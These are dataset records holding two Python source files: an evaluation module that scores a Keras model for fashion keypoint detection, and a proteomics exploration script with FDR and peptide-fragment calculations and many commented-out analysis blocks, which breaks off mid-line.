{"text": "\nimport sys\nsys.path.insert(0, \"../data_gen/\")\nsys.path.insert(0, \"../unet/\")\n\nimport pandas as pd\nfrom dataset import getKpKeys, getKpNum, getFlipMapID, get_kp_index_from_allkeys, generate_input_mask\nfrom kpAnno import KpAnno\nfrom post_process import post_process_heatmap\nfrom keras.models import load_model\nimport os\nfrom refinenet_mask_v3 import euclidean_loss\nimport numpy as np\nimport cv2\nfrom resnet101 import Scale\nfrom utils import load_annotation_from_df\nfrom collections import defaultdict\nimport copy\nfrom data_process import pad_image_inference\n\nclass Evaluation(object):\n    def __init__(self, category, modelFile):\n        self.category = category\n        self.train_img_path = \"../../data/train\"\n        if modelFile is not None:\n            self._initialize(modelFile)\n\n    def init_from_model(self, model):\n        self._load_anno()\n        self.net = model\n\n    def eval(self, multiOut=False, details=False, flip=True):\n        xdf = self.annDataFrame\n        scores = list()\n        xdict = dict()\n        xcategoryDict = defaultdict(list)\n        for _index, _row in xdf.iterrows():\n            imgId = _row['image_id']\n            category = _row['image_category']\n            imgFile = os.path.join(self.train_img_path, imgId)\n            gtKpAnno = self._get_groundtruth_kpAnno(_row)\n            if flip:\n                predKpAnno = self.predict_kp_with_flip(imgFile, category)\n            else:\n                predKpAnno = self.predict_kp(imgFile, category, multiOut)\n            neScore = Evaluation.calc_ne_score(category, predKpAnno, gtKpAnno)\n            scores.extend(neScore)\n            if details:\n                xcategoryDict[category].extend(neScore)\n        if details:\n            return sum(scores)/len(scores), xcategoryDict\n        else:\n            return sum(scores)/len(scores)\n\n    def _initialize(self, modelFile):\n        self._load_anno()\n        self._initialize_network(modelFile)\n\n    def _initialize_network(self, modelFile):\n        self.net = load_model(modelFile, custom_objects={'euclidean_loss': euclidean_loss, 'Scale': Scale})\n\n    def _load_anno(self):\n        '''\n        Load annotations from train.csv\n        '''\n        self.annfile = os.path.join(\"../../data/train/Annotations\", \"val_split.csv\")\n\n        # read into dataframe\n        xpd = pd.read_csv(self.annfile)\n        xpd = load_annotation_from_df(xpd, self.category)\n        self.annDataFrame = xpd\n\n\n    def _get_groundtruth_kpAnno(self, dfrow):\n        mlist = dfrow[getKpKeys(self.category)]\n        imgName, kpStr = mlist[0], mlist[1:]\n        # read kp annotation from csv file\n        kpAnnlst = [KpAnno.readFromStr(_kpstr) for _kpstr in kpStr]\n        return kpAnnlst\n\n    def _net_inference_with_mask(self, imgFile, imgCategory):\n        import cv2\n        from data_process import normalize_image, pad_image_inference\n        assert (len(self.net.input_layers) > 1), \"input layer need to more than 1\"\n\n        # load image and preprocess\n        img = cv2.imread(imgFile)\n\n        img, scale = pad_image_inference(img, 512, 512)\n        img   = normalize_image(img)\n        input_img = img[np.newaxis, :, :, :]\n\n        input_mask = generate_input_mask(imgCategory, (512, 512, getKpNum(self.category)) )\n        input_mask = input_mask[np.newaxis, :, :, :]\n\n        # inference\n        heatmap = self.net.predict([input_img, input_mask, input_mask])\n\n        return (heatmap, scale)\n\n    def _heatmap_sum(self, heatmaplst):\n        outheatmap = np.copy(heatmaplst[0])\n        for i in range(1, len(heatmaplst), 1):\n            outheatmap += heatmaplst[i]\n        return outheatmap\n\n    def predict_kp(self, imgFile, imgCategory, multiOutput=False):\n\n        xnetout, scale = self._net_inference_with_mask(imgFile, imgCategory)\n\n        if multiOutput:\n            #todo: fixme, it is tricky that the previous stage has beeter performance than last stage's output.\n            #todo: here, we are using multiple stage's output sum.\n            heatmap = self._heatmap_sum(xnetout)\n        else:\n            heatmap = xnetout\n\n        detectedKps = post_process_heatmap(heatmap, kpConfidenceTh=0.2)\n\n        # scale to padded resolution 256X256 -> 512X512\n        scaleTo512 = 2.0\n\n        # apply scale to original resolution\n        detectedKps = [KpAnno(_kp.x*scaleTo512/scale , _kp.y*scaleTo512/scale, _kp.visibility) for _kp in detectedKps]\n\n        return detectedKps\n\n\n    def predict_kp_with_flip(self, imgFile, imgCategory):\n        #  inference with flip and original image\n        heatmap, scale = self._net_inference_flip(imgFile, imgCategory)\n\n        detectedKps = post_process_heatmap(heatmap, kpConfidenceTh=0.2)\n\n        # scale to padded resolution 256X256 -> 512X512\n        scaleTo512 = 2.0\n\n        # apply scale to original resolution\n        detectedKps = [KpAnno(_kp.x * scaleTo512 / scale, _kp.y * scaleTo512 / scale, _kp.visibility) for _kp in\n                       detectedKps]\n\n        return detectedKps\n\n    def _net_inference_flip(self, imgFile, imgCategory):\n        import cv2\n        from data_process import normalize_image, pad_image_inference\n        assert (len(self.net.input_layers) > 1), \"input layer need to more than 1\"\n\n        batch_size =2\n\n        input_img  = np.zeros(shape=(batch_size, 512, 512, 3), dtype=np.float)\n        input_mask = np.zeros(shape=(batch_size, 256, 256, getKpNum(self.category)), dtype=np.float)\n\n        # load image and preprocess\n        orgimage = cv2.imread(imgFile)\n\n        padimg, scale = pad_image_inference(orgimage, 512, 512)\n        flipimg = cv2.flip(padimg, flipCode=1)\n\n        input_img[0,:,:,:] = normalize_image(padimg)\n        input_img[1,:,:,:] = normalize_image(flipimg)\n\n        mask = generate_input_mask(imgCategory, (512, 512, getKpNum(self.category)))\n        input_mask[0,:,:,:] = mask\n        input_mask[1,:,:,:] = mask\n\n        # inference\n        if len(self.net.input_layers) == 2:\n            heatmap = self.net.predict([input_img, input_mask])\n        elif len(self.net.input_layers) == 3:\n            heatmap = self.net.predict([input_img, input_mask, input_mask])\n        else:\n            assert (0), str(len(self.net.input_layers)) + \" should be 2 or 3 \"\n\n        # sum heatmap\n        avgheatmap = self._heatmap_sum(heatmap)\n\n        orgheatmap = avgheatmap[0,:,:,:]\n\n        # convert to same sequency with original heatmap\n        flipheatmap = avgheatmap[1,:,:,:]\n        flipheatmap = self._flip_out_heatmap(flipheatmap)\n\n        # average original and flip heatmap\n        outheatmap = flipheatmap + orgheatmap\n        outheatmap = outheatmap[np.newaxis, :, :, :]\n\n        return (outheatmap, scale)\n\n    def predict_kp_with_rotate(self, imgFile, imgCategory):\n        #  inference with rotated image\n        rotateheatmap = self._net_inference_rotate(imgFile, imgCategory)\n        rotateheatmap = rotateheatmap[np.newaxis, :, :, :]\n\n        # original image and flip image\n        orgflipmap, scale = self._net_inference_flip(imgFile, imgCategory)\n        mflipmap = cv2.resize(orgflipmap[0,:,:,:], None, fx=2.0/scale, fy=2.0/scale)\n\n        # add mflipmap and rotateheatmap\n        avgheatmap = mflipmap[np.newaxis, :, :, :]\n\n        b, h, w , c = rotateheatmap.shape\n        avgheatmap[:, 0:h, 0:w,:] += rotateheatmap\n\n        # generate key point locations\n        detectedKps = post_process_heatmap(avgheatmap, kpConfidenceTh=0.2)\n\n        return detectedKps\n\n    def _net_inference_rotate(self, imgFile, imgCategory):\n        from data_process import normalize_image, pad_image_inference, rotate_image_with_invrmat\n\n        # load image and preprocess\n        orgimage = cv2.imread(imgFile)\n\n        anglelst = [-20, -10, 10, 20]\n\n        input_img  = np.zeros(shape=(len(anglelst), 512, 512, 3), dtype=np.float)\n        input_mask = np.zeros(shape=(len(anglelst), 256, 256, getKpNum(self.category)), dtype=np.float)\n\n        mlist = list()\n        for i, angle in enumerate(anglelst):\n            rotateimg, invRotMatrix, orgImgSize = rotate_image_with_invrmat(orgimage, angle)\n            padimg, scale = pad_image_inference(rotateimg, 512, 512)\n            _img = normalize_image(padimg)\n            input_img[i, :, :, :] = _img\n            mlist.append((scale, invRotMatrix))\n\n        mask = generate_input_mask(imgCategory, (512, 512, getKpNum(self.category)))\n        for i, angle in enumerate(anglelst):\n            input_mask[i, :,:,:] = mask\n\n        # inference\n        heatmap = self.net.predict([input_img, input_mask, input_mask])\n        heatmap = self._heatmap_sum(heatmap)\n\n        # rotate back to original resolution\n        sumheatmap =  np.zeros(shape=(orgimage.shape[0], orgimage.shape[1], getKpNum(self.category)), dtype=np.float)\n        for i, item in enumerate(mlist):\n            _heatmap = heatmap[i, :, :, :]\n            _scale, _invRotMatrix = item\n            _heatmap = cv2.resize(_heatmap, None, fx=2.0 / _scale, fy=2.0 / _scale)\n            _invheatmap = cv2.warpAffine(_heatmap, _invRotMatrix, (orgimage.shape[1], orgimage.shape[0]))\n            sumheatmap += _invheatmap\n\n        return sumheatmap\n\n    def _flip_out_heatmap(self, flipout):\n        outmap = np.zeros(flipout.shape, dtype=np.float)\n        for i in range(flipout.shape[-1]):\n            flipid = getFlipMapID(self.category, i)\n            mask = np.copy(flipout[:, :, i])\n            outmap[:, :, flipid] = cv2.flip(mask, flipCode=1)\n        return outmap\n\n\n    @staticmethod\n    def get_normized_distance(category, gtKp):\n        '''\n\n        :param category:\n        :param gtKp:\n        :return: if ground truth's two points do not exist, return a big number 1e6\n        '''\n\n        if category in ['skirt' ,'trousers']:\n            ##waistband left and right\n            waistband_left_index  = get_kp_index_from_allkeys('waistband_left')\n            waistband_right_index = get_kp_index_from_allkeys('waistband_right')\n\n            if gtKp[waistband_left_index].visibility != -1 and gtKp[waistband_right_index].visibility != -1:\n                distance = KpAnno.calcDistance(gtKp[waistband_left_index], gtKp[waistband_right_index])\n            else:\n                distance = 1e6\n            return distance\n        elif category in ['blouse', 'dress', 'outwear']:\n            armpit_left_index  = get_kp_index_from_allkeys('armpit_left')\n            armpit_right_index = get_kp_index_from_allkeys('armpit_right')\n            ##armpit_left armpit_right'\n            if gtKp[armpit_left_index].visibility != -1 and gtKp[armpit_right_index].visibility != -1:\n                distance = KpAnno.calcDistance(gtKp[armpit_left_index], gtKp[armpit_right_index])\n            else:\n                distance = 1e6\n            return distance\n        else:\n            assert (0), category + \" not implemented in _get_normized_distance\"\n\n\n    @staticmethod\n    def calc_ne_score(category, dtKp, gtKp):\n\n        assert (len(dtKp) == len(gtKp)), \"predicted keypoint number should be the same as ground truth keypoints\" + \\\n                                         str(dtKp) + \" vs \" + str(gtKp)\n\n        # calculate normalized error as score\n        normalizedDistance = Evaluation.get_normized_distance(category, gtKp)\n\n        mlist = list()\n        for i in range(len(gtKp)):\n            if gtKp[i].visibility == 1:\n                dk = KpAnno.calcDistance(dtKp[i], gtKp[i])\n                mlist.append( dk/normalizedDistance)\n\n        return mlist\n", "meta": {"hexsha": "b2222892af6137d71d561e92cefb81f7b3f99345", "size": 11402, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/eval/evaluation.py", "max_stars_repo_name": "kehuaWangfff/FashionAI_KeyPoint_Detection_Challenge_Keras", "max_stars_repo_head_hexsha": "02422f315403fae4dcd87abf90b08ae9183d75f0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 169, "max_stars_repo_stars_event_min_datetime": "2018-05-24T08:22:03.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-02T15:25:17.000Z", "max_issues_repo_path": "src/eval/evaluation.py", "max_issues_repo_name": "Koeru/FashionAI_KeyPoint_Detection_Challenge_Keras", "max_issues_repo_head_hexsha": "0b3bd8cdee32e05619300e5466578644974279df", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2018-05-29T15:40:50.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-17T07:35:21.000Z", "max_forks_repo_path": "src/eval/evaluation.py", "max_forks_repo_name": "Koeru/FashionAI_KeyPoint_Detection_Challenge_Keras", "max_forks_repo_head_hexsha": "0b3bd8cdee32e05619300e5466578644974279df", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 54, "max_forks_repo_forks_event_min_datetime": "2018-05-25T13:57:42.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-08T03:00:07.000Z", "avg_line_length": 37.3836065574, "max_line_length": 118, "alphanum_fraction": 0.6355902473, "include": true, "reason": "import numpy", "num_tokens": 2895, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.1968262130657376, "lm_q1q2_score": 0.09995068619592812}}
{"text": "import pandas as pd\nfrom pyteomics import mzxml, mgf, mass\nfrom collections import defaultdict\nimport csodiaq_base_functions as cbf\nimport csodiaq_base_functions_oldMethod as cbf2\nfrom random import randint\nimport re\nfrom Bio import SeqIO\nimport bisect\nfrom matplotlib import pyplot\nfrom matplotlib_venn import venn2\nimport numpy as np\nimport pickle\nimport bz2\nfrom numba import njit\nfrom timeit import default_timer as timer\nimport io\nimport os\nfrom numba.core import types\nfrom numba.typed import Dict\n\npd.set_option('display.max_columns', None)\n\n\n\ndef fdr_calculation(df, returnType=0): #***NOTE***make return type\n    # initializing the two return values at 0\n    fdrValues = []\n    indices = []\n    numDecoys = 0\n    df.fillna(\"nan\",inplace=True)\n    # for every row in the dataframe\n    count = 0\n\n\n    for index, row in df.iterrows():\n        # current criteria for 'decoys' is to have 'decoy' in the protein name. This may change in the future.\n        if (returnType==0 or returnType==1): decoy = 'DECOY' in row['Name']\n        elif returnType==2: decoy = row['decoy']\n        if decoy:\n            numDecoys += 1\n\n        # calculates the FDR up to this point in the data frame.\n        curFDR = numDecoys/(count+1)\n\n        # conditional statement comparing the current FDR to the FDR Cutoff. If larger, function values are returned.\n        if curFDR > 0.01:\n\n            # if the number of rows has not yet reached the minimum number that allows for the FDR cutoff, 0 is returned instead.\n            if len(fdrValues) < 1/0.01:\n                if returnType: return [], 0\n                else: return 0, 0\n            if returnType==1: return fdrValues, numDecoys-1\n            if returnType==2: return indices, numDecoys-1\n            else: return len(fdrValues), numDecoys-1\n        fdrValues.append(curFDR)\n        indices.append(index)\n        count += 1\n\n    if returnType: return fdrValues, numDecoys-1\n    else: return len(fdrValues), numDecoys-1\n\ndef return_frag_mzs(peptide, z):\n    mzValues = []\n    digPat = r'\\+\\d+\\.\\d+'\n    digs = re.findall(digPat, peptide)\n    pepFrags = re.split(digPat, peptide)\n    modValues = {}\n    seq = ''\n    while len(digs) != 0:\n        dig = digs.pop(0)\n        frag = pepFrags.pop(0)\n        seq += frag\n        modValues[len(seq)] = float(dig[1:])/z\n    seq += pepFrags[0]\n    for i in range(1, len(seq)-1):\n        mz = mass.fast_mass(sequence=seq[i:], ion_type='y', charge=z)\n        mz += sum([modValues[x] for x in modValues if x > i])\n        mzValues.append(mz)\n\n    for i in range(len(seq)-1, 1, -1):\n        mz = mass.fast_mass(sequence=seq[:i], ion_type='b', charge=z)\n        mz += sum([modValues[x] for x in modValues if x <= i])\n        mzValues.append(mz)\n    return mzValues\n\ndef approx(x, y, ppmTol):\n    if x==y: return 1e-7\n    ppmDiff = ((x-y)*1000000)/x\n    return (ppmDiff if abs(ppmDiff) < ppmTol else 0)\n\ndef approx_list(x, l, ppmTol=10):\n    for i in range(len(l)):\n        if approx(x, l[i], ppmTol): return i\n    return -1\n\n#if 'protein' in spec['params']\n\ndef clean_mgf_file(file):\n    spectra = mgf.read(file)\n    fasta = 'C:/Users/ccranney/Desktop/Caleb_Files/data/2019-03-14-td-UP000005640.fasta'\n    fDict = {}\n    longPep = ''\n    for record in SeqIO.parse(open(fasta,'r'),'fasta'):\n        fDict[len(longPep)] = record.id\n        longPep += str(record.seq) + '.'\n    cleaned = []\n    count = 0\n    pepCount = 0\n    for spec in spectra:\n        count += 1\n        #if count % 40==0: break\n        #mzValues = return_frag_mzs(spec['params']['seq'],1)\n        #peaks = list(tuple(zip(spec['m/z array'],spec['intensity array'])))\n        #for i in range(len(peaks)-1,-1,-1):\n        #    if approx_list(peaks[i][0],mzValues)==-1: peaks.pop(i)\n        #if len(peaks)==0: continue\n        #peaks.sort(key=lambda x:x[0])\n        #spec['m/z array'],spec['intensity array'] = map(list,zip(*peaks))\n        #'''\n        decoy = False\n        if 'protein' in spec['params'] and 'DECOY' in spec['params']['protein']: decoy = True\n        else:\n            seq = re.sub(r'\\+\\d+\\.\\d+', '', spec['params']['seq'])\n            listOfI = [m.start() for m in re.finditer(seq, longPep)]\n            sorted_keys = sorted(fDict.keys())\n            proteins = set()\n            for i in listOfI:\n                insertion_point = bisect.bisect_left(sorted_keys,i)\n            # adjust, as bisect returns not exactly what we want\n                if insertion_point==len(sorted_keys) or sorted_keys[insertion_point]!=i:\n                    insertion_point-=1\n                protein = fDict[sorted_keys[insertion_point]]\n                proteins.add(fDict[sorted_keys[insertion_point]])\n            if len(proteins)==0: proteins.add(spec['params']['seq'])\n\n        if decoy: proteins = ['DECOY_0_'+x for x in proteins]\n\n        protein = str(len(proteins)) + '/' + '/'.join(sorted(proteins))\n        spec['params']['protein'] = protein\n        if protein != '0/': pepCount += 1\n        #'''\n        cleaned.append(spec)\n        if count % 1000 == 0: print(count); print(pepCount); print(protein)\n\n\n    cleanedFile = re.sub('(.*).mgf', r'\\1_proteinsAdded.mgf', file)\n    mgf.write(cleaned, cleanedFile)\n\nprint('\\n'*30)\n\n\n'''\nscanCount = defaultdict(int)\nmsplit = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/HeLa-50ppm/MSPLIT_HeLa.txt', sep='\\t')\nscans = msplit['Scan#']\nfor scan in scans:\n    scanCount[scan]+=1\n\n#hits, decoys = fdr_calculation(msplit)\n#print(hits, decoys)\n'''\n'''\nimport operator\n\nsorted_tuples = sorted(scanCount.items(), key=operator.itemgetter(1),reverse=True)\ntemp = []\nfor x in sorted_tuples[:20]: temp.append(x[0])\n\n\n#print(msplit[msplit['Scan#']==22501])\n\n#hits, decoys = fdr_calculation(msplit)\n\n#print(hits, decoys)\n\ncsodiaq = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/HeLa-50ppm/CsoDIAq-file1_HeLa_160min_DIA_106win_1.csv')\n#print(len(csodiaq))\n'''\n'''\nwindows = set()\nspectralCount = 0\nwith mzxml.read('C:/Users/ccranney/Desktop/Caleb_Files/data/HeLa_160min_DIA_106win_1.mzXML', use_index=True) as spectra:\n#with mzxml.read('C:/Users/ccranney/Desktop/Caleb_Files/data/18302_REP2_500ng_HumanLysate_SWATH_2 (2)..mzXML', use_index=True) as spectra:\n\n    for scan in temp:\n        spec = spectra.get_by_id(str(scan))\n        print(scan)\n        print('PrecursorMz: '+str(spec['precursorMz'][0]['precursorMz']))\n        print('Window: '+str(spec['precursorMz'][0]['windowWideness']))\n\n        tempDf = msplit[msplit['Scan#']==scan]\n        print('Mz Values:')\n        print(tempDf['Mz.1'])\n        print('\\n')\n\n    for spec in spectra:\n        spectralCount += 1\n        if spectralCount % 10000 == 0: print(spectralCount)\n        if 'precursorMz' in spec:\n            windows.add(spec['precursorMz'][0]['windowWideness'])\n            if spec['precursorMz'][0]['windowWideness'] == 50.0: print(spec['num'])\nfor x in windows: print(x)\n#'''\n'''\nfile = 'C:/Users/ccranney/Desktop/Caleb_Files/data/18302_REP2_500ng_HumanLysate_SWATH_2 (2)..mzXML'\nwith open(file, 'rb') as f:\n    for _ in range(100): # first 10 lines\n        print(f.readline())\n#'''\n'''\npeptide = 'A+42.01057AAAAAGAGPEM+15.9949VR'\n#peptide = 'AAAAA'\ncbf.return_frag_mzs(peptide, 1)\n#'''\n'''\nfile = 'C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy.mgf'\nfasta = 'C:/Users/ccranney/Desktop/Caleb_Files/data/2019-03-14-td-UP000005640.fasta'\ncbf.clean_mgf_file(file, fasta)\n#'''\n'''\nmgf1 = mgf.read('C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy.mgf')\nmgf2 = []\ncount = 0\nprint('enter processing')\nfor spec in mgf1:\n    spec['intensity array'] = spec['intensity array'][:10]\n    spec['m/z array'] = spec['m/z array'][:10]\n    mgf2.append(spec)\n    #spec['params']['title'] = count\n    #count += 1\n    #if count == 10: break\nprint(mgf2)\nprint('enter writing')\nmgf.write(mgf1, 'C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy3.mgf')\n#'''\n'''\nfasta = 'C:/Users/ccranney/Desktop/Caleb_Files/data/2019-03-14-td-UP000005640.fasta'\nfDict = {}\nlongPep = ''\nfor record in SeqIO.parse(open(fasta,'r'),'fasta'):\n    fDict[len(longPep)] = record.id\n    longPep += str(record.seq) + '.'\n\nprint(len(fDict))\nfor i in sorted(fDict)[:3]:\n    print(i)\n    if i != 0: print(longPep[i-1])\n    print(fDict[i])\nprint(longPep[:200])\n\npep = 'KMMKRRGINVSDE'\nlistOfI = [m.start() for m in re.finditer(pep, longPep)]\nprint(listOfI)\nsorted_keys = sorted(fDict.keys())\nproteins = set()\nfor i in listOfI:\n    insertion_point = bisect.bisect_left(sorted_keys,i)\n# adjust, as bisect returns not exactly what we want\n    if insertion_point==len(sorted_keys) or sorted_keys[insertion_point]!=i:\n        insertion_point-=1\n    proteins.add(fDict[sorted_keys[insertion_point]])\n    print(insertion_point)\n    print(fDict[sorted_keys[insertion_point]])\n\nproteins = str(len(proteins)) + '/' + '/'.join(sorted(proteins))\nprint(proteins)\n#'''\n'''\nfasta = 'C:/Users/ccranney/Desktop/Caleb_Files/data/2019-03-14-td-UP000005640.fasta'\n\nrecord_dict = SeqIO.index(fasta, \"fasta\")\nspectra = mgf.read('C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy_cleaned.mgf')\ncount = 0\nnum = 5000\nfor spec in spectra:\n    count += 1\n    if count % 1000 == 0: print(count)\n    if randint(0,num) % num != 0: continue\n\n    seq = re.sub(r'\\+\\d+\\.\\d+', '', spec['params']['seq'])\n    proteins = spec['params']['protein'].split('/')[1:]\n    for protein in proteins:\n        if 'DECOY' in protein: continue\n        temp = str(record_dict[protein].seq)\n        if seq not in temp:\n            print('FAIL ' + 'X'*50)\n            print(seq)\n            print(temp)\n            print('\\n')\n        else:\n            print('SUCCESS')\n            print('\\n')\n#'''\n'''\npeptides = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/MGF-ID1/CsoDIAq-file1_ID1_corrected_peptideFDR.csv')\npeptides = peptides.drop_duplicates(subset='peptide', keep='first').reset_index(drop=True)\nprint(len(peptides))\nproteins = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/MGF-ID1/CsoDIAq-file1_ID1_corrected_proteinFDR.csv')\nproteins = proteins[proteins['uniquePeptide']==1]\n#proteins = proteins.drop_duplicates(subset='leadingProtein', keep='first').reset_index(drop=True)\nprots = set()\nfor index, row in proteins.iterrows():\n    prots.update(row['leadingProtein'].split('/'))\nprint(len(prots))\n#'''\n'''\n# for determining the intensities of an mzxml file - I'm finding they're either all the same or has a lot of zeroes.\ncount = 0\n#with mzxml.read('C:/Users/ccranney/Desktop/wiffFiles/mzxml-round1/18302_REP2_500ng_HumanLysate_SWATH_2.mzxml', use_index=True) as spectra:\nwith mzxml.read('C:/Users/ccranney/Desktop/Caleb_Files/data/HeLa_160min_DIA_106win_1.mzxml', use_index=True) as spectra:\n    for spec in spectra:\n        if 'precursorMz' not in spec: continue\n        count += 1\n        if count > 10: break\n        print(list(spec['intensity array']))\n#'''\n'''\ndf = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_qehfx_09_30_0.txt',sep='\\t')\nspectra = mgf.read('C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy_proteinsAdded.mgf')\npepDict = {}\ncount = 0\nfor spec in spectra:\n    count += 1\n    if count % 1000 == 0: print(count)\n    pepDict[spec['params']['seq']] = spec['params']['protein']\n\nproteins = []\nfor index, row in df.iterrows():\n    proteins.append(pepDict[row['Peptide']])\n\ndf['protein'] = proteins\ndf.to_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_qehfx_09_30_0_proteinsAdded.csv', index=False)\n#'''\n'''\n# Adding MSPLIT proteins to final file\ninFile = 'C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_qehfx_09_30_0_proteinsAdded.csv'\nspecFile = 'C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_qehfx_09_30_0_proteinsAdded_spectralFDR.csv'\npepFile = 'C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_qehfx_09_30_0_proteinsAdded_peptideFDR.csv'\nprotFile = 'C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_qehfx_09_30_0_proteinsAdded_proteinFDR.csv'\ncbf.write_csodiaq_fdr_outputs(inFile, specFile, pepFile, protFile)\n#'''\n'''\n# for comparing msplit with csodiaq\nmsplit = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_qehfx_09_30_0_proteinsAdded_peptideFDR.csv')\n#msplit = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/msplit_ID1_02-10-0_temp.csv')\nmsplit['ID'] = list(zip(msplit['Scan#'].tolist(),msplit['peptide'].tolist(),msplit['z.1'].tolist()))\n#msplit = msplit[msplit['uniquePeptide']==1]\n#msplit = msplit.drop_duplicates(subset='leadingProtein', keep='first').reset_index(drop=True)\n#msplit.set_index('ID',inplace=True)\n#msplit = msplit[msplit['protein'].str.contains('DECOY')]\n\n\ncsodiaq = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/WIFF files/CsoDIAq-file1_01_qehfx_lab_SA_R1_corrected_peptideFDR.csv')\n#csodiaq = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/output/WIFF files/CsoDIAq-file1_01_qehfx_lab_SA_R1_corrected_peptideFDR.csv')\ncsodiaq['ID'] = list(zip(csodiaq['scan'].tolist(),csodiaq['peptide'].tolist(),csodiaq['zLIB'].tolist()))\n#csodiaq = csodiaq[csodiaq['uniquePeptide']==1]\n#csodiaq = csodiaq.drop_duplicates(subset='leadingProtein', keep='first').reset_index(drop=True)\n#csodiaq.set_index('ID',inplace=True)\n#csodiaq = csodiaq[csodiaq['protein'].str.contains('DECOY')]\n\n#mValues = set()\n#cValues = set()\n#for proteinGroup in msplit['leadingProtein']:\n#    proteins = re.findall('(DECOY_0_)?(sp\\|\\w{6}\\|)', proteinGroup)\n#    mValues.update([p for p in proteins if 'DECOY' not in p])\n#for proteinGroup in csodiaq['leadingProtein']:\n#    proteins = re.findall('(DECOY_0_)?(sp\\|\\w{6}\\|)', proteinGroup)\n#    cValues.update([p for p in proteins if 'DECOY' not in p])\n\n\nmValues = set(msplit['peptide'])\ncValues = set(csodiaq['peptide'])\n\npyplot.figure(figsize=(12,12))\nout = venn2([set(cValues),set(mValues)], set_labels = [\"CsoDIAq\", \"MSPLIT-DIA\"])\nfor text in out.set_labels:\n    text.set_fontsize(32)\nfor text in out.subset_labels:\n    text.set_fontsize(24)\npyplot.show()\n\n#inM = set(msplit['ID']) - set(csodiaq['ID'])\n#inC = set(csodiaq['ID']) - set(msplit['ID'])\n#both = set(csodiaq['ID']).intersection(set(msplit['ID']))\n\n#'''\n'''\nprint(len(msplit['ID']))\nprint('\\n')\nprint(len(inM))\nprint('\\n')\nprint(len(csodiaq['ID']))\nprint('\\n')\nprint(len(inC))\nprint('\\n')\nprint(len(both))\n\nmsplit = msplit[msplit['ID'].isin(both)].sort_values('ID').reset_index(drop=True)\ncsodiaq = csodiaq[csodiaq['ID'].isin(both)].sort_values('ID').reset_index(drop=True)\n\nfor i in range(10):\n    print(msplit.loc[i])\n    print(csodiaq.loc[i])\n    print('\\n')\n#'''\n'''\noldMGF = mgf.read('C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy.mgf')\nprotMGF = mgf.read('C:/Users/ccranney/Desktop/Caleb_Files/data/human.faims.fixed.decoy_proteinsAdded.mgf')\n\ncount = 0\nfor spec in oldMGF:\n    count += 1\n    if count % 5 ==0: break#print(count)\n    spec2 = protMGF.get_by_id(spec['params']['title'])\n    print(spec2)\n    if sorted(spec['m/z array']) != sorted(spec2['m/z array']):\n        print('m/z array')\n        print(len(spec['m/z array']))\n        print(len(spec2['m/z array']))\n        print('\\n')\n    if sorted(spec['intensity array']) != sorted(spec2['intensity array']):\n        print('intensity array')\n        print(len(spec['intensity array']))\n        print(len(spec2['intensity array']))\n        print('\\n')\n\n    if len(spec['charge']) != len(spec2['charge']):\n        print('charge')\n        print(len(spec['charge']))\n        print(len(spec2['charge']))\n        print('\\n')\n    if len(spec['mask']) != len(spec2['mask']):\n        print('mask')\n        print(len(spec['mask']))\n        print(len(spec2['mask']))\n        print('\\n')\n\n    if spec['params']['title'] != spec2['params']['title']:\n        print(spec['params']['title'])\n        print(spec2['params']['title'])\n        print('\\n')\n    if spec['params']['charge'] != spec2['params']['charge']:\n        print(spec['params']['charge'])\n        print(spec2['params']['charge'])\n        print('\\n')\n    if spec['params']['pepmass'] != spec2['params']['pepmass']:\n        print(spec['params']['pepmass'])\n        print(spec2['params']['pepmass'])\n        print('\\n')\n    if spec['params']['seq'] != spec2['params']['seq']:\n        print(spec['params']['seq'])\n        print(spec2['params']['seq'])\n        print('\\n')\n    if spec['params']['scan'] != spec2['params']['scan']:\n        print(spec['params']['scan'])\n        print(spec2['params']['scan'])\n        print('\\n')\n#'''\n'''\n# simple script for seeing a few scans in mzxml files\n\n#with mzxml.read('C:/Users/ccranney/Desktop/Caleb_Files/data/HeLa_160min_DIA_106win_1_large.mzXML', use_index=True) as spectra:\nwith mzxml.read('C:/Users/ccranney/Desktop/wiffFiles/K562_10ug_DDA_Top100_r02-K562_Sample10.mzXML', use_index=True) as spectra:\n    count = 1\n    windows = defaultdict(list)\n    for spec in spectra:\n        print(list(spec['intensity array']))\n        if 'precursorMz' in spec: count += 1; windows[spec['precursorMz'][0]['windowWideness']].append(spec['num'])\n        if count % 10 == 0: break\n    #for key, value in windows.items():\n        #print(key)\n        #print(value)\n#'''\n'''\n# simple script for seeing the first few lines of a csv data file\ndf = pd.read_csv('C:/Users/ccranney/Desktop/Caleb_Files/data/docker-shared/consensus.tsv', sep='\\t')\n#df.sort_values('MaCC_Score', ascending=False, inplace=True)\nprint(df.head(200))\nprint(df.columns)\n#'''\n'''\n# checking if there are protein-marked decoys is the pan human library\n#df = 